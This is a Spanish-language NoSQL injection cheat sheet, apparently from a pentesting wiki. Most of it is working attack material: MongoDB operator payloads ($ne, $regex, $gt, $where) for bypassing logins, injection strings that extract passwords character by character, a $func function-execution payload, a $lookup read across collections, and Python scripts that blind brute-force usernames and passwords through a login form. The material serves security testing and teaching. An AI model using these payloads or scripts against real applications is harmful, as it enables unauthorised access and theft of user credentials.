Las bases de datos NoSQL ofrecen restricciones de consistencia más flexibles que las bases de datos SQL tradicionales. Al requerir menos restricciones relacionales y verificaciones de consistencia, las bases de datos NoSQL a menudo ofrecen beneficios de rendimiento y escalabilidad. Sin embargo, estas bases de datos aún son potencialmente vulnerables a ataques de inyección, incluso si no utilizan la sintaxis SQL tradicional.
|
|
|
|
## Explotación
|
|
|
|
En PHP puedes enviar un Array cambiando el parámetro enviado de _parameter=foo_ a _parameter\[arrName]=foo._
|
|
|
|
Las explotaciones se basan en agregar un **Operador**:
|
|
```bash
|
|
username[$ne]=1$password[$ne]=1 #<Not Equals>
|
|
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
|
|
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
|
|
username[$eq]=admin&password[$ne]=1 #<Equals>
|
|
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
|
|
username[$ne]=admin&pass[$gt]=s #<Greater Than>
|
|
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
|
|
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
|
|
```
|
|
### Evasión de autenticación básica
|
|
|
|
**Usando no igual ($ne) o mayor ($gt)**
|
|
```bash
|
|
#in URL
|
|
username[$ne]=toto&password[$ne]=toto
|
|
username[$regex]=.*&password[$regex]=.*
|
|
username[$exists]=true&password[$exists]=true
|
|
|
|
#in JSON
|
|
{"username": {"$ne": null}, "password": {"$ne": null} }
|
|
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
|
|
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
|
|
```
|
|
### **SQL - Mongo**
|
|
```
|
|
Normal sql: ' or 1=1-- -
|
|
Mongo sql: ' || 1==1// or ' || 1==1%00
|
|
```
|
|
### Extraer información de **longitud**
|
|
```bash
|
|
username[$ne]=toto&password[$regex]=.{1}
|
|
username[$ne]=toto&password[$regex]=.{3}
|
|
# True if the length equals 1,3...
|
|
```
|
|
### Extraer información de **datos**
|
|
```
|
|
in URL (if length == 3)
|
|
username[$ne]=toto&password[$regex]=a.{2}
|
|
username[$ne]=toto&password[$regex]=b.{2}
|
|
...
|
|
username[$ne]=toto&password[$regex]=m.{2}
|
|
username[$ne]=toto&password[$regex]=md.{1}
|
|
username[$ne]=toto&password[$regex]=mdp
|
|
|
|
username[$ne]=toto&password[$regex]=m.*
|
|
username[$ne]=toto&password[$regex]=md.*
|
|
|
|
in JSON
|
|
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
|
|
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
|
|
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
|
|
```
|
|
### **SQL - Mongo**
|
|
```
|
|
/?search=admin' && this.password%00 --> Check if the field password exists
|
|
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
|
|
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
|
|
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
|
|
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
|
|
...
|
|
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
|
|
...
|
|
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
|
|
```
|
|
### Ejecución Arbitraria de Funciones en PHP
|
|
|
|
Usando el operador **$func** de la librería [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (usada por defecto) podría ser posible ejecutar una función arbitraria como en [este informe](https://swarm.ptsecurity.com/rce-cockpit-cms/).
|
|
```python
|
|
"user":{"$func": "var_dump"}
|
|
```
|
|
### Obtener información de diferentes colecciones
|
|
|
|
Es posible usar [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) para obtener información de una colección diferente. En el siguiente ejemplo, estamos leyendo de una **colección diferente** llamada **`users`** y obteniendo **los resultados de todas las entradas** con una contraseña que coincide con un comodín.
|
|
```json
|
|
[
|
|
{
|
|
"$lookup":{
|
|
"from": "users",
|
|
"as":"resultado","pipeline": [
|
|
{
|
|
"$match":{
|
|
"password":{
|
|
"$regex":"^.*"
|
|
}
|
|
}
|
|
}
|
|
]
|
|
}
|
|
}
|
|
]
|
|
```
|
|
## NoSQL a ciegas
|
|
```python
|
|
import requests, string
|
|
|
|
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
|
|
|
|
flag = ""
|
|
for i in range(21):
|
|
print("[i] Looking for char number "+str(i+1))
|
|
for char in alphabet:
|
|
r = requests.get("http://chall.com?param=^"+flag+char)
|
|
if ("<TRUE>" in r.text):
|
|
flag += char
|
|
print("[+] Flag: "+flag)
|
|
break
|
|
```
|
|
|
|
```python
|
|
import requests
|
|
import urllib3
|
|
import string
|
|
import urllib
|
|
urllib3.disable_warnings()
|
|
|
|
username="admin"
|
|
password=""
|
|
|
|
while True:
|
|
for c in string.printable:
|
|
if c not in ['*','+','.','?','|']:
|
|
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
|
|
r = requests.post(u, data = {'ids': payload}, verify = False)
|
|
if 'OK' in r.text:
|
|
print("Found one more char : %s" % (password+c))
|
|
password += c
|
|
```
|
|
## Cargas útiles de MongoDB
|
|
```
|
|
true, $where: '1 == 1'
|
|
, $where: '1 == 1'
|
|
$where: '1 == 1'
|
|
', $where: '1 == 1'
|
|
1, $where: '1 == 1'
|
|
{ $ne: 1 }
|
|
', $or: [ {}, { 'a':'a
|
|
' } ], $comment:'successful MongoDB injection'
|
|
db.injection.insert({success:1});
|
|
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|
|
|| 1==1
|
|
' && this.password.match(/.*/)//+%00
|
|
' && this.passwordzz.match(/.*/)//+%00
|
|
'%20%26%26%20this.password.match(/.*/)//+%00
|
|
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
|
|
{$gt: ''}
|

[$ne]=1

### Fuerza bruta para obtener nombres de usuario y contraseñas desde un login POST
|
|
|
|
Este es un script simple que podrías modificar, pero las herramientas anteriores también pueden realizar esta tarea.
|
|
```python
|
|
import requests
|
|
import string
|
|
|
|
url = "http://example.com"
|
|
headers = {"Host": "exmaple.com"}
|
|
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
|
|
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
|
|
def get_password(username):
|
|
print("Extracting password of "+username)
|
|
params = {"username":username, "password[$regex]":"", "login": "login"}
|
|
password = "^"
|
|
while True:
|
|
for c in possible_chars:
|
|
params["password[$regex]"] = password + c + ".*"
|
|
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
|
|
if int(pr.status_code) == 302:
|
|
password += c
|
|
break
|
|
if c == possible_chars[-1]:
|
|
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
|
|
return password[1:].replace("\\", "")
|
|
|
|
def get_usernames():
|
|
usernames = []
|
|
params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}
|
|
for c in possible_chars:
|
|
username = "^" + c
|
|
params["username[$regex]"] = username + ".*"
|
|
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
|
|
if int(pr.status_code) == 302:
|
|
print("Found username starting with "+c)
|
|
while True:
|
|
for c2 in possible_chars:
|
|
params["username[$regex]"] = username + c2 + ".*"
|
|
if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302:
|
|
username += c2
|
|
print(username)
|
|
break
|
|
|
|
if c2 == possible_chars[-1]:
|
|
print("Found username: "+username[1:])
|
|
usernames.append(username[1:])
|
|
break
|
|
return usernames
|
|
|
|
|
|
for u in get_usernames():
|
|
get_password(u)
|
|
```
